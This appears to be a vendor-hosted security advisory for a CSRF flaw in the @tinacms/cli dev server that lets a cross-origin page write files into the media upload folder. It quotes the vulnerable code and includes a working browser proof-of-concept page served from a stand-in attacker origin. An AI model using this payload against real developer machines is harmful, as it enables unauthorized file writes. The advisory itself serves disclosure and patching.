GHSA-rgr9-r7mj-mf6x is a medium-severity (CVSS 6.5) Cross-Site Request Forgery (CSRF) vulnerability in @tinacms/cli. O3 Security confirms whether GHSA-rgr9-r7mj-mf6x is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@tinacms/clinpmDescription
Summary
A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.
Details
The issue is in the dev server path of @tinacms/cli.
The Vite dev server installs CORS middleware:
// packages/@tinacms/cli/src/next/vite/plugins.ts
server.middlewares.use(
cors({
origin: corsOriginCheck,
methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],
})
);
For disallowed origins, the origin callback only returns false to the CORS library:
// packages/@tinacms/cli/src/next/vite/cors.ts
return (origin, callback) => {
...
callback(null, false);
};
That does not reject the request server-side. The same request is still routed into the upload handler:
// packages/@tinacms/cli/src/next/vite/plugins.ts
if (req.url.startsWith('/media/upload')) {
await mediaRouter.handlePost(req, res);
return;
}
The upload handler then accepts attacker-controlled path and body data and writes the file:
// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURIComponent(
req.url?.slice('/media/upload/'.length)
);
const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.
I validated this locally with a browser-backed repro:
- the request origin was a disallowed non-localhost origin,
- the browser treated the fetch as blocked,
- the local Tina media file was still written with attacker-controlled contents.
The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.
PoC
Minimal reproduction:
- Start a Tina dev server so the media upload route is reachable at:
http://127.0.0.1:<TINA_PORT>/media/upload/<filename>
- From a different, non-allowed origin such as
http://evil.test:8000, serve this page:
<!doctype html>
<script>
(async () => {
const form = new FormData();
form.append(
'file',
new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),
'poc.txt'
);
try {
await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {
method: 'POST',
body: form,
});
console.log('fetch resolved');
} catch {
console.log('fetch blocked by CORS');
}
})();
</script>
-
Open that page in a browser while the Tina dev server is running.
-
Observe:
- the browser reports the cross-origin request as blocked or inaccessible,
- but
poc.txtis still created in the configured media directory, commonly:
public/uploads/poc.txt
- Verify the file contents are:
poc-from-cross-origin
This reproduces the vulnerability without any victim-side manual upload action.
Impact
This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @tinacms/cli | all versions | 2.5.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @tinacms/cli. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @tinacms/cli to 2.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rgr9-r7mj-mf6x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rgr9-r7mj-mf6x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rgr9-r7mj-mf6x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rgr9-r7mj-mf6x in your dependencies?
O3 detects GHSA-rgr9-r7mj-mf6x across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.